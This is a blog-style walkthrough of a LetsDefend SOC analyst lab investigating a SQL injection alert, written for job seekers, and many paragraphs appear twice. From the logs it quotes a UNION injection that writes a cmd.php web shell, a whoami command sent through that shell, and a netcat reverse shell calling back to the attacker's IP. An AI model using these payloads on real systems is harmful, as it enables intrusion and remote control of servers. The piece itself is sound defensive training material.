CYBERSECURITY JOB HUNTING GUIDE
Letsdefend review
Author: Stefan Waldvogel
Practical review of LetsDefend lab (SOC142 - HTTP 500 requests detected)
Overview
LetsDefend is practical training for blue team members and targets becoming SOC Analysts. You get a professional working environment, and you can do your SOC work.
In the free version, you can solve five cases per month. This number is not much, but it is a great starting point for solving the case with additional thoughts.
Try to understand all the details to get the most out of it. This review goes beyond LetsDefend, and you see additional tools with Security Onion and ELK.
Technically, we can finish the case in 5 minutes, but we go a long way and dive deep into real-world stuff.
Links:
The LetsDefend website: letsdefend.io/
The LetsDefend discord: discord.com/invite/NxU3uwHZtd
Your starting point
The dashboard is your starting place for the "game," and you see your progress.
LetsDefend is practical training for blue team members and targets becoming SOC Analysts. You get a professional working environment, and you can do your SOC work.
In the free version, you can solve five cases per month. This number is not much, but it is a great starting point for solving the case with additional thoughts.
Try to understand all the details to get the most out of it. This review goes beyond LetsDefend, and you see additional tools with Security Onion and ELK.
Technically, we can finish the case in 5 minutes, but we go a long way and dive deep into real-world stuff.
Links:
The LetsDefend website: letsdefend.io/
The LetsDefend discord: discord.com/invite/NxU3uwHZtd
Your starting point
The dashboard is your starting place for the "game," and you see your progress.
The "real" starting point is under "Monitoring" and simulates a working SOC environment. A SIEM might detect an alarm, and you have to take care of it as SOC Analyst.
This concept is realistic. You have the main channel with all logs, an investigation channel, and a closed alerts section. In the real world, you might see something similar.
As a SOC Analyst, you pick an alarm, and you work on it, and the tasks go to the investigation channel. Here, you have access to security tools, a knowledge base, and additional things. You can ask for help and escalate a problem.
The area "Closed Alerts" is essential for management and your learning. The SOC management can see your performance and how many tasks you did solve in the past. Controlling is one thing, but you should focus on learning more to move up into a higher position.
If you escalate a problem to a supervisor or a higher tiered Analyst/ Incident Responder, you see the following steps what this person did in a closed event. Try to understand the bigger picture and if it is interesting give the other person a call, so you can learn more. This lab is a game, and you do not have this feature, but you might want to learn to get a better position in the real world.
This concept is realistic. You have the main channel with all logs, an investigation channel, and a closed alerts section. In the real world, you might see something similar.
As a SOC Analyst, you pick an alarm, and you work on it, and the tasks go to the investigation channel. Here, you have access to security tools, a knowledge base, and additional things. You can ask for help and escalate a problem.
The area "Closed Alerts" is essential for management and your learning. The SOC management can see your performance and how many tasks you did solve in the past. Controlling is one thing, but you should focus on learning more to move up into a higher position.
If you escalate a problem to a supervisor or a higher tiered Analyst/ Incident Responder, you see the following steps what this person did in a closed event. Try to understand the bigger picture and if it is interesting give the other person a call, so you can learn more. This lab is a game, and you do not have this feature, but you might want to learn to get a better position in the real world.
Let us pick an alert: SOC142 - Multiple HTTP 500 Response. I will go to some lines to give you a deeper insight into the environment.
The name gives us some information about the problem. We deal with multiple HTTP requests, and the code is 500. What does it mean? Every code on HTTP has a meaning. Usually, you get a 200, and everything is fine. You might know error 404 if you try to go to an unknown website. A code with 5xx is an error code, and here it is a server error. Someone sends a request to the server, and the server didn't understand the command.
In the real world, time is essential and gives us two things: First, this error is old, but nobody took care of it (what happened during this time?), and second, if we have to dig into logs, we need this time as a reference.
We get information about IP addresses. Someone with the IP 101.32.223.119 (a Chinese potential malicious IP) asked our SQL server.
What is wrong with it?
In a real environment, you have a website and a connected database. A customer request is going to the website, and the webserver forwards this request in a secure way to the SQL server. If you buy something, your data is on the database (server), and it is not stored in the web application.
Here, someone might talked directly to the SQL server. This behavior should never happen. According to the logs, the webserver and the SQL server are on the same machine. If you have a small website without PII or other important data, you can do that, but it is not recommended. A public-faced server should not store any data.
Our environment looks like this:
In the real world, time is essential and gives us two things: First, this error is old, but nobody took care of it (what happened during this time?), and second, if we have to dig into logs, we need this time as a reference.
We get information about IP addresses. Someone with the IP 101.32.223.119 (a Chinese potential malicious IP) asked our SQL server.
What is wrong with it?
In a real environment, you have a website and a connected database. A customer request is going to the website, and the webserver forwards this request in a secure way to the SQL server. If you buy something, your data is on the database (server), and it is not stored in the web application.
Here, someone might talked directly to the SQL server. This behavior should never happen. According to the logs, the webserver and the SQL server are on the same machine. If you have a small website without PII or other important data, you can do that, but it is not recommended. A public-faced server should not store any data.
Our environment looks like this:
Imagine this is a necessary task, and you work for a company. A good SOC Analyst is curious and asks questions. One question is: How does my environment look like? The reason is, your work has a higher quality, and you can understand the traffic and risks.
Bonus thoughts:
Here you see the logs and the environment are matching.
Let us go back to the last part:
Bonus thoughts:
Here you see the logs and the environment are matching.
- Our MySQL database server is connected to the internet and the webserver talks to the SQL database.
- We do not have a firewall between both parts (web server and database).
- The web server does not have a Web Application Firewall.
- We do not have a Host Based Intrusion Detection/Prevention System or other security tools (at least the picture does not show it).
Let us go back to the last part:
The user name is www-data. This user is a good sign -> the attacker uses the webserver to talk to the SQL database and is not a direct connection to the SQL server. The www-data user is a unique Linux user and does the work related to a web server.
The URL: This is a SQL statement and a database request. One suspicious thing: userNumber =1. User 1 is usually an administrator account. The command is: Give me all information about the admin user. A "select *" command is weird. A program does not ask such a question.
The user agent gives us information about the attacker's browser. This entry does hold some value, but you can change it easily (user-agent switcher).
Now, we are ready to start and create a case (click >>)
The URL: This is a SQL statement and a database request. One suspicious thing: userNumber =1. User 1 is usually an administrator account. The command is: Give me all information about the admin user. A "select *" command is weird. A program does not ask such a question.
The user agent gives us information about the attacker's browser. This entry does hold some value, but you can change it easily (user-agent switcher).
Now, we are ready to start and create a case (click >>)
We get a short description and can start the playbook.
If you need more details, you can close the playbook and rerun it. Do not worry about breaking something. The program is smart enough, and you never create two cases with the same data set.
Start the playbook and add the wanted information.
Start the playbook and add the wanted information.
EventID:
89
Event Time:
April 18, 2021, 1 p.m.
Rule:
SOC142 - Multiple HTTP 500 Response
Source Address:
101.32.223.119
Source Hostname:
101.32.223.119
Destination Address:
172.16.20.6
Destination Hostname:
SQLServer
Device Action:
Allowed
Username:
www-data
Request URL:
https://172.16.20.6/userNumber=1 AND (SELECT * FROM Users) = 1
User Agent:
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Small hint: The destination URL is not the IP.
Some tools will try to fill in the data automatically in the real world, or you can select the field. Your case is different, and you have to find your data.
The next step is analyzing and finding related logs. Hint: You can work with multiple windows.
I used the date, but the IP is a better choice. The reason is, if you have a web server, you see thousands of log files in a concise amount of time.
-> If you work with SIEMs like Splunk or ELK, you create a complex search to get the wanted data. It could look like this:
index=webserver src_ip=101.32.223.119 AND dest_ip=172.16.20.6
Letsdefend does not have millions of entries, but you have to know that.
If you are interested in a "real" program, you can install Security Onion in a VM (see the link). Installing Security Onion is not that easy, and you need a powerful machine ( >4 cores, >12 GB RAM, >200GB HDD).
Some tools will try to fill in the data automatically in the real world, or you can select the field. Your case is different, and you have to find your data.
The next step is analyzing and finding related logs. Hint: You can work with multiple windows.
I used the date, but the IP is a better choice. The reason is, if you have a web server, you see thousands of log files in a concise amount of time.
-> If you work with SIEMs like Splunk or ELK, you create a complex search to get the wanted data. It could look like this:
index=webserver src_ip=101.32.223.119 AND dest_ip=172.16.20.6
Letsdefend does not have millions of entries, but you have to know that.
If you are interested in a "real" program, you can install Security Onion in a VM (see the link). Installing Security Onion is not that easy, and you need a powerful machine ( >4 cores, >12 GB RAM, >200GB HDD).
A small excursion into the real world:
You might ask, how close is LetsDefend to the real world. The following picture shows Security Onion and gives you an idea about a real workplace (each program looks different). There is much more information, and the logs are very detailed.
You see "Alerts" and "Hunt" on the left side. LetsDefend is very close to this and simplifies the environment so you can learn very effectively. The bigger idea is the same.
You might ask, how close is LetsDefend to the real world. The following picture shows Security Onion and gives you an idea about a real workplace (each program looks different). There is much more information, and the logs are very detailed.
You see "Alerts" and "Hunt" on the left side. LetsDefend is very close to this and simplifies the environment so you can learn very effectively. The bigger idea is the same.
The following picture shows elasic/kibana, an open-source SIEM. On the top, you have a search bar. Here, we can start to find things. Right now, we have over 3000 logs, but Security Onion is smart enough to detect different alerts, very similar to LetsDefend.
Do you want to become a SOC Analyst? This picture shows just a tiny idea, but everyone starts small.
We go back to LetsDefend
Let us have a deeper look into the logs. I searched for april and got some matching results.
We go back to LetsDefend
Let us have a deeper look into the logs. I searched for april and got some matching results.
We can open the RAW file with more details; see the right side. What things can you see?
The first logs have a 500 message code, and the server couldn't process the command, but what did the attacker want?
You see worlds like UNION or OR and special characters like ('). Someone tried a SQL injection attack.
-> one of these commands got a 200 back!! Our webserver is vulnerable to this kind of attack because we do not have a Web Application Firewall (WAF), and we do not sanitize the user input. All commands go unfiltered to the SQL database.
--> This is a no-go. If you see something like this in your job, your company has a severe security problem.
Do you want to play with this kind of attack? Try TryHackMe, do the free Juice Shop room, and practice/look for Union SQL attacks. The link is here: www.tryhackme.com/room/owaspjuiceshop
The first critical command is this:
You see worlds like UNION or OR and special characters like ('). Someone tried a SQL injection attack.
-> one of these commands got a 200 back!! Our webserver is vulnerable to this kind of attack because we do not have a Web Application Firewall (WAF), and we do not sanitize the user input. All commands go unfiltered to the SQL database.
--> This is a no-go. If you see something like this in your job, your company has a severe security problem.
Do you want to play with this kind of attack? Try TryHackMe, do the free Juice Shop room, and practice/look for Union SQL attacks. The link is here: www.tryhackme.com/room/owaspjuiceshop
The first critical command is this:
Request URL: https://172.16.20.6/userNumber=' union select 1, '' into outfile '/var/www/html/cmd.php' #
Response Code: 200
On our server is a file with the name CMD.php... and if you talk to a web developer, none of them put the file to this place. The attacker did!
What is the problem with this file? Let us check the next log.
What is the problem with this file? Let us check the next log.
Request URL: https://172.16.20.6/cmd.php?cmd=whoami
Response Code: 200
The attacker sent a command to the webserver and got a 200 (OK) back. We do not see the complete response, but the answer was most likely www-data.
We have at least two problems:
First, our web server is vulnerable to this attack, and we, as SOC Analysts, cannot solve this problem. We need to escalate this case, so our web developers can fix the problem (remove the cmd.php file, too).
Second: The attacker uploaded this file and had time to do more bad things, but we do not know what the attacker did.
If we go on, we see this:
We have at least two problems:
First, our web server is vulnerable to this attack, and we, as SOC Analysts, cannot solve this problem. We need to escalate this case, so our web developers can fix the problem (remove the cmd.php file, too).
Second: The attacker uploaded this file and had time to do more bad things, but we do not know what the attacker did.
If we go on, we see this:
Request URL: https://172.16.20.6/cmd.php?cmd=nc 101.32.223.119 1234 -e /bin/sh
This command is a netcat reverse shell. A reverse shell is a backdoor, and the attacker now has a second way to talk to our server.
The shell uses port 1234. This means we have even a bigger security problem. Why could the attacker open this port on a public-facing server, and we didn't see it earlier?
The shell uses port 1234. This means we have even a bigger security problem. Why could the attacker open this port on a public-facing server, and we didn't see it earlier?
We have a firewall, and the firewall detected the traffic to port 1234, but remember the picture? Where is the firewall?
Right now, the shell does not try to connect to an internal machine. The attacker compromised the web server, but according to the picture, we do not have a firewall between the web server and the internet unless the entry point for internet traffic is somewhere else.
Different option: We have a firewall on the webserver, but it is not mentioned. Reason: Ubuntu has a built-in firewall (UFW), and a company will usually configure it. -> the picture does not show all details, and this is realistic. People do not document all changes.
If you see something like this in your company, you can improve your logging. We see "firewall," but we do not have enough information about a specific firewall. We have a naming problem.
The firewall output is this:
Different option: We have a firewall on the webserver, but it is not mentioned. Reason: Ubuntu has a built-in firewall (UFW), and a company will usually configure it. -> the picture does not show all details, and this is realistic. People do not document all changes.
If you see something like this in your company, you can improve your logging. We see "firewall," but we do not have enough information about a specific firewall. We have a naming problem.
The firewall output is this:
Honestly, I do not know what this means—allowed or dropped? I assume this means permitted because we have a consistent behavior if we see the logs—the reverse shell talks back, and we see a connection.
If you deal with a real situation, yes you see such things. Talk to your security engineers/architects and they can fix it.
Now we have the bigger picture, and we can go back to the task. One question is about a URL (https://tecyardit.com/wp-content/card/2/post(dot)php)
Not much to say about this, but phishing is always interesting. Did someone opened this link and added usernames and a password for our systems? If yes, we might have a bigger problem. -> What did the user do after giving out the password?
If you deal with a real situation, yes you see such things. Talk to your security engineers/architects and they can fix it.
Now we have the bigger picture, and we can go back to the task. One question is about a URL (https://tecyardit.com/wp-content/card/2/post(dot)php)
Not much to say about this, but phishing is always interesting. Did someone opened this link and added usernames and a password for our systems? If yes, we might have a bigger problem. -> What did the user do after giving out the password?
Add the data and move on to the next questions.
Answers:
April 18, 2021, 1 p.m.
101.32.223.119
172.16.20.6
The user is not mentioned in the logs (but the alarm gave us the details); maybe endpoint protection gives us more information. We see a matching time. The last login was on April 18th and around 1 pm.
We can check the browser history because we saw a post request.
April 18, 2021, 1 p.m.
101.32.223.119
172.16.20.6
The user is not mentioned in the logs (but the alarm gave us the details); maybe endpoint protection gives us more information. We see a matching time. The last login was on April 18th and around 1 pm.
We can check the browser history because we saw a post request.
It is "No log." The question here is, is this true? An attacker might delete this log file depending on how we store these logs.
We do not have information about this. Admins might use the terminal to access data, and therefore the browser log is empty. Most web servers do not have a GUI installed, and consequently, they do not have a browser, but admins can use tools like curl to make a request.
We do not have information about this. Admins might use the terminal to access data, and therefore the browser log is empty. Most web servers do not have a GUI installed, and consequently, they do not have a browser, but admins can use tools like curl to make a request.
We have more logs. The command log shows something we know:
The admin installed postgresql but in between are suspicious commands (whoami, id, and the reverse shell). An admin would not use the command whoami, because the admin knows he or she is an admin.
The network connection looks like this:
The network connection looks like this:
The last entry is the netcat reverse shell.
The process list is interesting and has many details but nothing really to the wanted URL.
The process list is interesting and has many details but nothing really to the wanted URL.
systemctl |
We see our netcat command, which is expected.
I do not see other suspicious things, but our server uses php-cgi. This software might be an additional vulnerability. The release date was Feb 2020, and looks okay.
ClamAV is a tool to test databases and can update signatures.
Imunitify is a security solution.
What was our question again?
I do not see other suspicious things, but our server uses php-cgi. This software might be an additional vulnerability. The release date was Feb 2020, and looks okay.
ClamAV is a tool to test databases and can update signatures.
Imunitify is a security solution.
What was our question again?
We have a POST request to this URL (https://tecyardit.com/wp-content/card/2/post{dot}php) and the alert itself gives us more details:
Accidentally, I clicked the wrong button and closed the case, and I could not undo it. It looks like the game has a minor bug.
In the real world, you can reopen a case, but this is a game with points ;).
During our tour, we discovered much more. It looks like LetsDefend wanted a straightforward answer:
--> copy and paste the stuff out of the alarm message. --> in 5 minutes, you are done!
In the real world, you can reopen a case, but this is a game with points ;).
During our tour, we discovered much more. It looks like LetsDefend wanted a straightforward answer:
--> copy and paste the stuff out of the alarm message. --> in 5 minutes, you are done!
Conclusion
I like this platform a lot because it gives me so much freedom to discover new things. The platform is simple to use, and you can follow everything you want.
In our case, we walked into a rabbit hole and discovered a reverse shell on our server. The playbook didn't ask these questions, but our curiosity gave us a much deeper insight.
What is real? In this case, it was a complex situation, and we had a malicious link and a successful Union SQL attack with an nc reverse shell.
--> if you like such stuff, Cybersecurity is the right place for you.
What is the hard side of this:
This incident is just the beginning, and there is so much more to discover. Getting a job in Cybersecurity in though, I do not have a job even though my knowledge and understanding goes far, far beyond the wanted ability for a SOC Analyst.
-> It is a long journey, never give up!
I like this platform a lot because it gives me so much freedom to discover new things. The platform is simple to use, and you can follow everything you want.
In our case, we walked into a rabbit hole and discovered a reverse shell on our server. The playbook didn't ask these questions, but our curiosity gave us a much deeper insight.
What is real? In this case, it was a complex situation, and we had a malicious link and a successful Union SQL attack with an nc reverse shell.
--> if you like such stuff, Cybersecurity is the right place for you.
What is the hard side of this:
This incident is just the beginning, and there is so much more to discover. Getting a job in Cybersecurity in though, I do not have a job even though my knowledge and understanding goes far, far beyond the wanted ability for a SOC Analyst.
-> It is a long journey, never give up!
© 2021. This work is licensed under a CC BY-SA 4.0 license